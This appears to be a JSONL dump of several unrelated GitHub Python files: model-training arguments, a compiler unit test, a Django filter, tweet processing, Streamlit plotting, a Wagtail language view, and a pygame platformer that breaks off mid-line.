default=1.0e-4,\n help='initial learning rate')\n group.add_argument('--warmup', type=float, default=0.01,\n help='percentage of data to warmup on (.01 = 1% of all '\n 'training iters). Default 0.01')\n # model checkpointing\n group.add_argument('--save', type=str, default=None,\n help='Output directory to save checkpoints to.')\n group.add_argument('--save-interval', type=int, default=5000,\n help='number of iterations between saves')\n group.add_argument('--no-save-optim', action='store_true',\n help='Do not save current optimizer.')\n group.add_argument('--no-save-rng', action='store_true',\n help='Do not save current rng state.')\n group.add_argument('--load', type=str, default=None,\n help='Path to a directory containing a model checkpoint.')\n group.add_argument('--no-load-optim', action='store_true',\n help='Do not load optimizer when loading checkpoint.')\n group.add_argument('--no-load-rng', action='store_true',\n help='Do not load rng state when loading checkpoint.')\n group.add_argument('--finetune', action='store_true',\n help='Load model for finetuning. Do not load optimizer '\n 'or rng state from checkpoint and set iteration to 0. '\n 'Assumed when loading a release checkpoint.')\n # distributed training args\n group.add_argument('--distributed-backend', default='nccl',\n help='which backend to use for distributed '\n 'training. One of [gloo, nccl]')\n\n group.add_argument('--local_rank', type=int, default=None,\n help='local rank passed from distributed launcher.')\n\n group.add_argument('--results_dir', type=str, default=None,\n help='The dir to save the model.')\n group.add_argument('--model_name', type=str, default=\"test\",\n help=\"The name you give to the model.\")\n\n # eval\n group.add_argument('--eval_ckpt_path', type=str, default=None,\n help='The checkpoint path used for evaluation')\n\n return parser\n\n\ndef add_evaluation_args(parser):\n \"\"\"Evaluation arguments.\"\"\"\n\n group = parser.add_argument_group('validation', 'validation configurations')\n\n group.add_argument('--eval-batch-size', type=int, default=None,\n help='Data Loader batch size for evaluation datasets.'\n 'Defaults to `--batch-size`')\n group.add_argument('--eval-iters', type=int, default=100,\n help='number of iterations to run for evaluation'\n 'validation/test for')\n group.add_argument('--eval-interval', type=int, default=1000,\n help='interval between running evaluation on validation set')\n group.add_argument('--eval-seq-length', type=int, default=None,\n help='Maximum sequence length to process for '\n 'evaluation. Defaults to `--seq-length`')\n group.add_argument('--eval-max-preds-per-seq', type=int, default=None,\n help='Maximum number of predictions to use for '\n 'evaluation. Defaults to '\n 'math.ceil(`--eval-seq-length`*.15/10)*10')\n group.add_argument('--overlapping-eval', type=int, default=32,\n help='sliding window for overlapping eval ')\n group.add_argument('--cloze-eval', action='store_true',\n help='Evaluation dataset from `--valid-data` is a cloze task')\n group.add_argument('--eval-hf', action='store_true',\n help='perform evaluation with huggingface openai model.'\n 'use `--load` to specify weights path to be loaded')\n group.add_argument('--load-openai', action='store_true',\n help='load openai weights into our model. Use `--load` '\n 'to specify weights path to be loaded')\n\n return parser\n\ndef add_text_generate_args(parser):\n \"\"\"Text generate arguments.\"\"\"\n\n group = parser.add_argument_group('Text generation', 'configurations')\n group.add_argument(\"--temperature\", type=float, default=1.0)\n group.add_argument(\"--top_p\", type=float, default=0.0)\n group.add_argument(\"--top_k\", type=int, default=0)\n group.add_argument(\"--out-seq-length\", type=int, default=256)\n return parser\n\n\ndef add_data_args(parser):\n \"\"\"Train/valid/test data arguments.\"\"\"\n\n group = parser.add_argument_group('data', 'data configurations')\n group.add_argument('--data_dir', type=str, required=True,\n help=\"Training data dir\")\n group.add_argument('--mmap-warmup', action='store_true',\n help='Warm up mmap files.')\n group.add_argument('--model-parallel-size', type=int, default=1,\n help='size of the model parallel.')\n group.add_argument('--shuffle', action='store_true',\n help='Shuffle data. Shuffling is deterministic '\n 'based on seed and current epoch.')\n group.add_argument('--use-npy-data-loader', action='store_true',\n help='Use the numpy data loader. If set, then'\n 'train-data-path, val-data-path, and test-data-path'\n 'should also be provided.')\n group.add_argument('--num-workers', type=int, default=2,\n help=\"\"\"Number of workers to use for dataloading\"\"\")\n group.add_argument('--tokenizer-model-type', type=str,\n default='bert-large-uncased',\n help=\"Model type to use for sentencepiece tokenization \\\n (one of ['bpe', 'char', 'unigram', 'word']) or \\\n bert vocab to use for BertWordPieceTokenizer (one of \\\n ['bert-large-uncased', 'bert-large-cased', etc.])\")\n group.add_argument('--tokenizer-path', type=str, default='tokenizer.model',\n help='path used to save/load sentencepiece tokenization '\n 'models')\n group.add_argument('--tokenizer-type', type=str,\n default='BertWordPieceTokenizer',\n choices=['CharacterLevelTokenizer',\n 'SentencePieceTokenizer',\n 'BertWordPieceTokenizer',\n 'GPT2BPETokenizer'],\n help='what type of tokenizer to use')\n group.add_argument(\"--cache-dir\", default=None, type=str,\n help=\"Where to store pre-trained BERT downloads\")\n group.add_argument('--use-tfrecords', action='store_true',\n help='load `--train-data`, `--valid-data`, '\n '`--test-data` from BERT tf records instead of '\n 'normal data pipeline')\n group.add_argument('--seq-length', type=int, default=512,\n help=\"Maximum sequence length to process\")\n group.add_argument('--max-preds-per-seq', type=int, default=None,\n help='Maximum number of predictions to use per sequence.'\n 'Defaults to math.ceil(`--seq-length`*.15/10)*10.'\n 'MUST BE SPECIFIED IF `--use-tfrecords` is True.')\n\n return parser\n\ndef get_args():\n \"\"\"Parse all the args.\"\"\"\n\n parser = argparse.ArgumentParser(description='PyTorch BERT Model')\n parser = add_model_config_args(parser)\n parser = add_fp16_config_args(parser)\n parser = add_training_args(parser)\n parser = add_evaluation_args(parser)\n parser = add_text_generate_args(parser)\n parser = add_data_args(parser)\n\n # Include DeepSpeed configuration arguments\n parser = deepspeed.add_config_arguments(parser)\n\n args = parser.parse_args()\n\n if not args.data_dir:\n print('WARNING: No data specified')\n\n args.cuda = torch.cuda.is_available()\n\n args.rank = int(os.getenv('RANK', '0'))\n args.world_size = int(os.getenv(\"WORLD_SIZE\", '1'))\n\n if os.getenv('OMPI_COMM_WORLD_LOCAL_RANK'):\n # We are using (OpenMPI) mpirun for launching distributed data parallel processes\n local_rank = int(os.getenv('OMPI_COMM_WORLD_LOCAL_RANK'))\n local_size = int(os.getenv('OMPI_COMM_WORLD_LOCAL_SIZE'))\n\n # Possibly running with Slurm\n num_nodes = int(os.getenv('SLURM_JOB_NUM_NODES', '1'))\n nodeid = int(os.getenv('SLURM_NODEID', '0'))\n\n args.local_rank = local_rank\n args.rank = nodeid*local_size + local_rank\n args.world_size = num_nodes*local_size\n\n args.model_parallel_size = min(args.model_parallel_size, args.world_size)\n if args.rank == 0:\n print('using world size: {} and model-parallel size: {} '.format(\n args.world_size, args.model_parallel_size))\n\n args.dynamic_loss_scale = False\n if args.loss_scale is None:\n args.dynamic_loss_scale = True\n if args.rank == 0:\n print(' > using dynamic loss scaling')\n\n # The args fp32_* or fp16_* meant to be active when the\n # args fp16 is set. So the default behaviour should all\n # be false.\n if not args.fp16:\n args.fp32_embedding = False\n args.fp32_tokentypes = False\n args.fp32_layernorm = False\n\n return args\n","repo_name":"TsinghuaAI/CPM-1-Finetune","sub_path":"arguments.py","file_name":"arguments.py","file_ext":"py","file_size_in_byte":16339,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"61"} +{"seq_id":"32031130801","text":"from gtc.common import DataType\nfrom gtc.passes.oir_optimizations.utils import Access, AccessCollector\n\nfrom ...oir_utils import (\n AssignStmtFactory,\n FieldAccessFactory,\n HorizontalExecutionFactory,\n MaskStmtFactory,\n StencilFactory,\n TemporaryFactory,\n)\n\n\ndef test_access_collector():\n testee = StencilFactory(\n vertical_loops__0__sections__0__horizontal_executions=[\n HorizontalExecutionFactory(\n body=[\n AssignStmtFactory(left__name=\"tmp\", right__name=\"foo\", right__offset__i=1),\n AssignStmtFactory(left__name=\"bar\", right__name=\"tmp\"),\n ]\n ),\n HorizontalExecutionFactory(\n body=[\n MaskStmtFactory(\n body=[\n AssignStmtFactory(\n left__name=\"baz\", right__name=\"tmp\", right__offset__j=1\n ),\n ],\n mask=FieldAccessFactory(\n name=\"mask\",\n dtype=DataType.BOOL,\n offset__i=-1,\n offset__j=-1,\n offset__k=1,\n ),\n )\n ],\n ),\n ],\n declarations=[TemporaryFactory(name=\"tmp\")],\n )\n read_offsets = {\"tmp\": {(0, 0, 0), (0, 1, 0)}, \"foo\": {(1, 0, 0)}, \"mask\": {(-1, -1, 1)}}\n write_offsets = {\"tmp\": {(0, 0, 0)}, \"bar\": {(0, 0, 0)}, \"baz\": {(0, 0, 0)}}\n offsets = {\n \"tmp\": {(0, 0, 0), (0, 1, 0)},\n \"foo\": {(1, 0, 0)},\n \"bar\": {(0, 0, 0)},\n \"baz\": {(0, 0, 0)},\n \"mask\": {(-1, -1, 1)},\n }\n ordered_accesses = [\n Access(field=\"foo\", offset=(1, 0, 0), is_write=False),\n Access(field=\"tmp\", offset=(0, 0, 0), is_write=True),\n Access(field=\"tmp\", offset=(0, 0, 0), is_write=False),\n Access(field=\"bar\", offset=(0, 0, 0), is_write=True),\n Access(field=\"mask\", offset=(-1, -1, 1), is_write=False),\n Access(field=\"tmp\", offset=(0, 1, 0), is_write=False),\n Access(field=\"baz\", offset=(0, 0, 0), is_write=True),\n ]\n\n result = AccessCollector.apply(testee)\n assert result.read_offsets() == read_offsets\n assert result.write_offsets() == write_offsets\n assert result.offsets() == offsets\n assert result.ordered_accesses() == ordered_accesses\n","repo_name":"pchakraborty/gt4py","sub_path":"tests/test_unittest/test_gtc/test_passes/test_oir_optimizations/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"69904655235","text":"\nimport sys\n\nfrom app import App\nfrom console.display import MsConsoleDisplay\nfrom widgets.list_box import ListBox\nfrom widgets.text_box import TextBox\nfrom widgets.frame import Frame\n\n\ndef on_list_item_select(text_box, item):\n text_box.set_text(\"You selected: \" + item.text)\n\ndef main(args):\n display = MsConsoleDisplay()\n display.clear()\n width = 80\n height = 26\n enclosing_frame = Frame(width, height)\n enclosing_frame.set_width(width)\n enclosing_frame.set_title(\"The Sample Application\")\n enclosing_frame.border_enabled = True\n text_box = TextBox()\n text_box.set_width(60)\n text_box.text = \"This is a description of the application\"\n list_box = ListBox()\n list_box.set_title(\"Menu\")\n list_box.set_width(20)\n list_box.call_back = lambda item: on_list_item_select(text_box, item)\n list_box.left_padding = 3\n list_box.top_padding = 2\n list_box.add_lines([\"Option 1\", \"Option 2\", \"Option 3\"])\n app = App()\n app.add_widget(enclosing_frame, 0, 0)\n app.add_widget(text_box, 2, 2)\n app.add_widget(list_box, 2, 4 + text_box.height)\n app.set_focus(text_box)\n app.start()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"astults/scui","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24661900136","text":"import os\nimport pandas as pd\nfrom torchtext.data.metrics import bleu_score\nfrom transformers import BertTokenizer\n\n\nfile_path = os.path.dirname(os.path.abspath(__file__))\nevaluation_df = pd.read_csv(os.path.join(file_path, \"../dataset/input-target-256-evaluation.csv\"))\n\ndataset = []\noutputs = []\nfor i, x in evaluation_df.iterrows():\n dataset.append((str(x[\"input_text\"]), str(x[\"target_text\"])))\n outputs.append(str(x[\"generated_reply\"]))\n\ntokenizer = BertTokenizer.from_pretrained(\"bert-base-cased\")\n\ncandidate_corpus = [tokenizer.tokenize(x[1]) for x in dataset]\nreferences_corpus = [[tokenizer.tokenize(x)] for x in outputs]\nbleu = bleu_score(candidate_corpus, references_corpus)\nprint(bleu)\n","repo_name":"claudioscheer/seq-to-seq-bert","sub_path":"src/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71097439556","text":"from cipolla.authentication.auth_world_view import AuthWorldView\n\nfrom cipolla.authentication.services.vanilla_service import VanillaMasterClientService\nANY = -1\n\nfrom typing import List, Dict\n\nclass AuthWorldViewFactory(object):\n '''Creates AuthWorldView objects given the port that the client connected to.'''\n def __init__(self) -> None:\n # port: []\n self._registered_port_specific_auth_services: Dict = {}\n self._registered_general_auth_services: List = []\n\n def build_auth_world_view(self, port: int) -> AuthWorldView:\n auth_services = []\n auth_services.extend(self._registered_port_specific_auth_services.get(port, []))\n auth_services.extend(self._registered_general_auth_services)\n return AuthWorldView(auth_services)\n\n def register_auth_service(self, auth_service: VanillaMasterClientService, port: int = ANY) -> None:\n if port == ANY:\n self._registered_general_auth_services.insert(0, auth_service)\n else:\n if not port in self._registered_port_specific_auth_services:\n self._registered_port_specific_auth_services[port] = []\n self._registered_port_specific_auth_services[port].insert(0, auth_service)\n","repo_name":"FraMecca/CipollaMod","sub_path":"src/cipolla/authentication/auth_world_view_factory.py","file_name":"auth_world_view_factory.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"755130321","text":"from django import template\n\nregister = template.Library()\n\nRATE_SYMBOLS = {\n 'sun': 'солнц',\n 'stars': 'звезд',\n}\n\n\n@register.filter()\ndef rate(value, code='stars'):\n \"\"\"\n value: значение, к которому нужно применить фильтр\n code: код валюты\n \"\"\"\n postfix = RATE_SYMBOLS[code]\n\n return f'{value} {postfix}'\n\n\n@register.filter()\ndef censor(value):\n \"\"\"\n value: значение, к которому нужно применить фильтр\n \"\"\"\n words_list = value.split()\n # бежим по каждому слову\n for word in words_list:\n if any(symbol.isupper() for symbol in word[1:]):\n index_of_censor_word = words_list.index(word)\n words_list[index_of_censor_word] = word[0] + '*'*(len(word) - 1)\n\n value = ' '.join(words_list)\n\n return f'{value}'\n","repo_name":"er1c5un/NewsPortal","sub_path":"NewsPaper/news/templatestags/custom_filters.py","file_name":"custom_filters.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40235889037","text":"import logging\n\nimport click\n\nfrom helpers.topics import get_static_topics, transform_topic_name\nfrom main import app\nfrom processing import db, Tweet\n\n\n@app.cli.command()\ndef cli_update_sentiment_and_region_classification():\n click.echo(\"Running update_region_and_topic_classification\")\n update_sentiment_and_region_classification()\n click.echo(\"Done\")\n\n\ndef update_sentiment_and_region_classification():\n cursor = db.tweets.find({})\n for t in cursor:\n tweet = Tweet.load_stripped_tweet(t)\n tweet.process()\n db.tweets.update_one({\"_id\": tweet.id}, {\"$set\": tweet.get_full_dict()})\n\n\n@app.cli.command()\ndef cli_remove_irrelevant_tweets():\n click.echo(\"Running remove_irrelevant_tweets\")\n nb_invalid_classification, nb_no_topics, nb_transformed_topic_names = remove_irrelevant_tweets()\n click.echo(\"Removed {} because they were assigned to an invalid topic\".format(nb_invalid_classification))\n click.echo(\"Removed {} because they had no topic assigned\".format(nb_no_topics))\n click.echo(\"Removed {} because they had an invalid topic name\".format(nb_transformed_topic_names))\n click.echo(\"Done\")\n\n\ndef remove_irrelevant_tweets():\n cursor = db.tweets.find({})\n static_topics = get_static_topics()\n static_topics = {topic.topic_name: topic for topic in static_topics}\n nb_invalid_classification = 0\n nb_no_topics = 0\n nb_transformed_topic_names = 0\n for t in cursor:\n tweet = Tweet.load_stripped_tweet(t)\n if tweet.topic in static_topics:\n if static_topics[tweet.topic].tweet_is_about_topic(tweet.text):\n continue\n logging.info(\"Invalid topic classification ({}) for tweet {}\".format(tweet.topic, tweet.text))\n for topic_name, topic in static_topics.items():\n if topic.tweet_is_about_topic(tweet.text):\n logging.info(\"Instead classifying as {}\".format(topic_name))\n current = db.tweets.find_one({\"tweet_id\": tweet.tweet_id, \"topic\": topic_name})\n if current is not None:\n logging.info(\"Already present\")\n continue\n logging.info(\"Newly added\")\n updated_dict = tweet.get_full_dict()\n updated_dict[\"topic\"] = topic_name\n db.tweets.insert_one(updated_dict)\n nb_invalid_classification += 1\n db.tweets.delete_one({\"_id\": tweet.id})\n elif tweet.topic is None:\n nb_no_topics += 1\n db.tweets.delete_one({\"_id\": tweet.id})\n else:\n transformed_topic = transform_topic_name(tweet.topic)\n if transformed_topic == tweet.topic:\n continue\n db.tweets.delete_one({\"_id\": tweet.id})\n nb_transformed_topic_names += 1\n if db.tweets.find_one({\"tweet_id\": tweet.tweet_id, \"topic\": transformed_topic}) is not None:\n continue\n updated_dict = tweet.get_full_dict()\n updated_dict[\"topic\"] = transformed_topic\n if db.tweets.find_one({\"tweet_id\": tweet.tweet_id, \"topic\": transformed_topic}) is not None:\n continue\n db.tweets.insert_one(updated_dict)\n\n return nb_invalid_classification, nb_no_topics, nb_transformed_topic_names\n","repo_name":"UoB-COMSM0017-2017-Social-Networks-2/backend","sub_path":"processing/scripts/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12929489345","text":"from PIL import Image\nimport matplotlib.pyplot as plt\nimport japanize_matplotlib\nimport pandas as pd\nimport streamlit as st\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\n# カラムをリネーム\ndef renameColumn(df):\n # カラム名\n column_names = {\n \"title\": \"作品タイトル\",\n \"circle\": \"サークル\",\n \"voice_actor\": \"声優\",\n \"price\": \"価格\",\n \"tag\": \"タグ\",\n \"sales_date\": \"公開日\",\n \"downloads\": \"ダウンロード数\",\n \"size\": \"作品数\",\n \"appearances\": \"出演作品数\",\n \"mean_price\": \"平均価格\",\n \"mean_downloads\": \"平均ダウンロード数\",\n \"total\": \"累計ダウンロード数\",\n \"for_search\": \"検索用\"\n }\n\n df = pd.DataFrame(df)\n for column_name in df:\n df = df.rename(columns={column_name: column_names[column_name]})\n \n return df\n\n# 概観のインデックスをリネーム\ndef renameIndex(df):\n # インデックス名\n index_names = {\n \"count\": \"作品数\",\n \"mean\": \"平均\",\n \"std\": \"標準偏差\",\n \"min\": \"最小値\",\n \"25%\": \"1/4分位数\",\n \"50%\": \"中央値\",\n \"75%\": \"3/4分位数\",\n \"max\": \"最大値\"\n }\n\n df = pd.DataFrame(df)\n for i in df.index:\n df = df.rename(index={i: index_names[i]})\n \n return df\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\n# データフレーム表示\ndef showDf(text, df):\n # サブヘッダーを表示\n st.subheader(text)\n # カラム名を編集する前にコピー\n renamed_df = pd.DataFrame(df.copy())\n # データフレームを表示\n st.dataframe(renameColumn(renamed_df))\n\n# 概観表示\ndef showDescribe(df):\n # カラム名を編集する前にコピー\n renamed_df = pd.DataFrame(df.copy())\n # 概観を表示\n st.dataframe(renameIndex(renameColumn(renamed_df).describe()))\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\n# グラフ表示\ndef showInitialPlot(df, ps=30):\n df = pd.DataFrame(df)\n # 一つ目のグラフを作成\n fig, ax1 = plt.subplots(figsize=(16, 9))\n # 一つ目を棒グラフに設定\n # 「mean_downloads」カラムを反映\n ax1.vlines(df.index, ymin=0, ymax=df[\"mean_downloads\"], colors=\"red\", alpha=0.4, linewidth=25)\n # 一つ目のy軸にラベルを表示\n ax1.set_ylabel(\"平\\n均\\nダ\\nウ\\nン\\nロ\\nー\\nド\\n数\", labelpad=15, size=20, rotation=0, va=\"center\", fontfamily=\"IPAexGothic\")\n # y軸の最低値を0に固定\n ax1.set_ylim(ymin=0)\n # x軸に「index」を表示\n plt.xticks(df.index, df[\"voice_actor\"], rotation=30, horizontalalignment=\"right\", fontsize=13, fontfamily=\"IPAexGothic\")\n # y軸の目盛りのフォントサイズを設定\n plt.yticks(fontsize=13)\n # グラフの位置を調整\n plt.subplots_adjust(left=0.1, bottom=0.2, right=0.9, top=0.9)\n # 二つ目のグラフを作成\n ax2 = ax1.twinx()\n # 二つ目を折れ線グラフに設定\n # 出演作品数「appearances」カラムを反映\n ax2.plot(df.index, df[\"appearances\"], linewidth=1, marker=\"o\", color=\"blue\", alpha=0.6)\n # 二つ目のy軸にラベルを表示\n ax2.set_ylabel(\"出\\n演\\n作\\n品\\n数\", labelpad=15, size=20, rotation=0, va=\"center\", fontfamily=\"IPAexGothic\")\n # y軸の最低値を0に固定\n ax2.set_ylim(ymin=0)\n # y軸の目盛りのフォントサイズを設定\n plt.yticks(fontsize=13)\n # グラフの左上にメインタイトルを表示\n plt.title(\"声優別平均ダウンロード数TOP20\", loc=\"left\", fontsize=30, fontfamily=\"IPAexGothic\")\n # グラフの右上に指定した期間を表示\n plt.title(f\"公開日: {ps} 日以内\", loc=\"right\", pad=10, fontsize=20, fontfamily=\"IPAexGothic\")\n # x軸を左右反転\n ax2.invert_xaxis()\n # グリッドを非表示\n plt.grid(False)\n # x軸に余白を用意\n ax1.set_xmargin(0.02)\n # グラフを画像として保存\n plt.savefig(\"initial_plot.png\")\n # 画像ファイル化したグラフを表示\n img = Image.open(\"initial_plot.png\")\n st.image(img)\n\ndef showSearchResultsPlot(df, title=\"\", circle=\"\", va=\"\", tag=\"\", sdfrom=\"\", sdto=\"\", price=\"\", pricerad=\"\", downloads=\"\", downloadsrad=\"\"):\n df = pd.DataFrame(df)\n # 一つ目のグラフを作成\n fig, ax1 = plt.subplots(figsize=(16, 9))\n # 一つ目を折れ線グラフに設定\n # 折れ線の下を塗りつぶし\n # 「mean_downloads」カラムを反映\n ax1.fill_between(df.index, df[\"mean_downloads\"], color=\"red\", alpha=0.3)\n ax1.plot(df.index, df[\"mean_downloads\"], color=\"red\", alpha=0.4)\n # 一つ目のy軸にラベルを表示\n ax1.set_ylabel(\"平\\n均\\nダ\\nウ\\nン\\nロ\\nー\\nド\\n数\", labelpad=15, size=20, rotation=0, va=\"center\", fontfamily=\"IPAexGothic\")\n # y軸の最低値を0に固定\n ax1.set_ylim(ymin=0)\n # x軸に「index」を表示\n plt.xticks(df.index, df[\"sales_date\"], rotation=30, horizontalalignment=\"right\", fontsize=13, fontfamily=\"IPAexGothic\")\n # y軸の目盛りのフォントサイズを設定\n plt.yticks(fontsize=13)\n # グラフの位置を調整\n plt.subplots_adjust(left=0.1, bottom=0.2, right=0.9, top=0.9)\n # 二つ目のグラフを作成\n ax2 = ax1.twinx()\n # 二つ目を折れ線グラフに設定\n # 作品数「size」カラムを反映\n ax2.plot(df.index, df[\"size\"], linewidth=1, color=\"blue\", alpha=0.6)\n # 二つ目のy軸にラベルを表示\n ax2.set_ylabel(\"作\\n品\\n数\", labelpad=15, size=20, rotation=0, va=\"center\", fontfamily=\"IPAexGothic\")\n # y軸の最低値を0に固定\n ax2.set_ylim(ymin=0)\n # y軸の目盛りのフォントサイズを設定\n plt.yticks(fontsize=13)\n # グラフの左上にメインタイトルを表示\n plt.title(\"平均ダウンロード数と作品数の推移\", loc=\"left\", pad=10, fontsize=30, fontfamily=\"IPAexGothic\")\n # 12か月以上のデータがある場合、x軸の目盛り表示を減らす\n if len(df.index) > 12:\n for i, tick in enumerate(ax1.xaxis.get_ticklabels()):\n if i % (len(df.index) // 12) != 0:\n tick.set_visible(False)\n # グラフの下に検索内容を表示\n ax1.set_xlabel(f\"作品タイトル:[ {title} ] サークル:[ {circle} ] 声優:[ {va} ] タグ:[ {tag} ]\\n期間:[ {sdfrom} ~ {sdto} ] 価格:[ {price}{pricerad} ] ダウンロード数:[ {downloads}{downloadsrad} ]\", labelpad=15, fontsize=20, fontfamily=\"IPAexGothic\")\n # x軸を左右反転\n ax2.invert_xaxis()\n # グリッドを非表示\n plt.grid(False)\n # x軸に余白を用意\n ax1.set_xmargin(0.02)\n # グラフを画像として保存\n plt.savefig(\"search_results_plot.png\")\n # 画像ファイル化したグラフを表示\n img = Image.open(\"search_results_plot.png\")\n st.image(img)","repo_name":"MASAYUKI-MORITA/kuppuku_database","sub_path":"show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":6932,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70038685956","text":"from django import urls\nfrom django.conf import settings\nfrom django.http import HttpResponseRedirect\nfrom django.utils import translation\nfrom urllib.parse import urlparse\nfrom wagtail.models import Page, Locale\n\ndef set_language_from_url(request, language_code):\n # call url with ?next=<<translated url>> to redirect to translated page\n # if no next url supplied, will attempt to find it from referring url\n # if fails that, will send to home page of the language_code\n # if requested language is not a registered locale, send to home page\n try:\n requested_locale = Locale.objects.get(language_code=language_code)\n except Locale.DoesNotExist:\n return HttpResponseRedirect('/')\n\n next_url = request.GET.get(\"next\", None)\n\n # /?next= missing from referring url, attempt to translate\n if not next_url:\n next_url = find_next_url(request, requested_locale)\n\n # activate the language, set the cookie (gets around expiring session cookie issue), redirect to translated page\n translation.activate(language_code)\n\n response = HttpResponseRedirect(next_url)\n response.set_cookie(settings.LANGUAGE_COOKIE_NAME, language_code, max_age=60*60*24*365)\n\n return response\n\ndef find_next_url(request, requested_locale):\n # /?next= missing from referring url, attempt to translate\n try:\n # get the full path of the referring page;\n previous = request.META['HTTP_REFERER']\n\n try:\n # split off the path of the previous page\n prev_path = urlparse(previous).path\n prev_page = Page.objects.get(url_path=prev_path)\n\n # Find translation of referring page\n # Default to home page if nothing matches\n next_page = prev_page.get_translation_or_none(locale=requested_locale)\n next_url = next_page.url if next_page != None else '/'\n\n except (Page.DoesNotExist, Locale.DoesNotExist):\n # previous page is not a Wagtail Page, try if previous path can be translated by \n # changing the language code\n next_url = urls.translate_url(previous, requested_locale.language_code)\n\n # if no translation is found, translate_url will return the original url\n # in that case, go to the home page in the requested language\n if next_url == previous:\n next_url = '/'\n\n except KeyError:\n # if for some reason the previous page cannot be found, go to the home page\n next_url = '/'\n\n return next_url\n ","repo_name":"enzedonline/helenerodenposzler.com","sub_path":"menu/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24381836035","text":"import pygame\nimport render\n\n# variables\nSCREEN_SIZE = (800, 600)\nBACKROUND_COLOR = (121, 217, 215)\nGROUND_COLOR = (30, 135, 47)\nFPS = 60\nPLAYER_SPEED = 8\nGRAVITY = 1\nJUMP_SPEED = -15\n\n# init\npygame.init()\nscreen = pygame.display.set_mode(SCREEN_SIZE)\npygame.display.set_caption(\"Working Title\")\nclock = pygame.time.Clock()\n\n# player\nplayer_height = 128\nplayer_width = 96\n\nplayer_walking_animation = render.Animation([\n pygame.image.load('assets/skeleton_walk/skeleton_walk_00.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_01.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_02.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_03.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_04.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_05.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_06.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_07.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_08.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_09.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_10.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_11.png'),\n pygame.image.load('assets/skeleton_walk/skeleton_walk_12.png'),\n])\nplayer_walking_animation.setAnimationSpeed(4)\nplayer_idle_animation = render.Animation([\n pygame.image.load('assets/skeleton_idle/skeleton_idle_00.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_01.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_02.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_03.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_04.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_05.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_06.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_07.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_08.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_09.png'),\n pygame.image.load('assets/skeleton_idle/skeleton_idle_10.png'),\n])\nplayer_x = 300\nplayer_y = 0\nplayer_accelaration_y = GRAVITY\nplayer_speed_y = 0\nplayer_on_ground = False\nplayer_direction = \"right\"\nplayer_state = \"idle\"\n\n# platforms\nplatforms = [\n pygame.Rect(50, 500, 700, 50),\n pygame.Rect(50, 450, 50, 50),\n pygame.Rect(700, 450, 50, 50),\n]\n\nisGameRunning = True\n# gameloop\nwhile(isGameRunning):\n\n player_state = \"idle\"\n # input\n for event in pygame.event.get():\n # quit button\n if(event.type == pygame.QUIT):\n isGameRunning = False\n\n # player control\n new_player_x = player_x\n new_player_y = player_y\n keys = pygame.key.get_pressed()\n\n # move left\n if(keys[pygame.K_LEFT]):\n new_player_x -= PLAYER_SPEED\n player_direction = \"left\"\n player_state = \"walking\"\n\n # move right\n if(keys[pygame.K_RIGHT]):\n new_player_x += PLAYER_SPEED\n player_direction = \"right\"\n player_state = \"walking\"\n\n # jump\n if(keys[pygame.K_SPACE]) and player_on_ground:\n player_speed_y = JUMP_SPEED\n\n # animation updates\n player_idle_animation.update()\n player_walking_animation.update()\n\n # horizontal movement\n player_hitbox_x = pygame.Rect(\n new_player_x, player_y, player_width, player_height)\n x_collision = False\n\n # collision detection on all platforms\n for p in platforms:\n if p.colliderect(player_hitbox_x):\n x_collision = True\n break\n\n # No collision\n if(x_collision == False):\n player_x = new_player_x\n\n # vertical movement\n player_speed_y += player_accelaration_y\n new_player_y += player_speed_y\n\n player_hitbox_y = pygame.Rect(player_x, new_player_y, 96, 128)\n y_collision = False\n player_on_ground = False\n\n # collision detection on all platforms\n for p in platforms:\n if p.colliderect(player_hitbox_y):\n y_collision = True\n player_speed_y = 0\n # if player collide with platform it sticks to the platform\n if(player_y < p[1]):\n player_y = p[1] - player_height\n player_on_ground = True\n break\n\n # No collision\n if(y_collision == 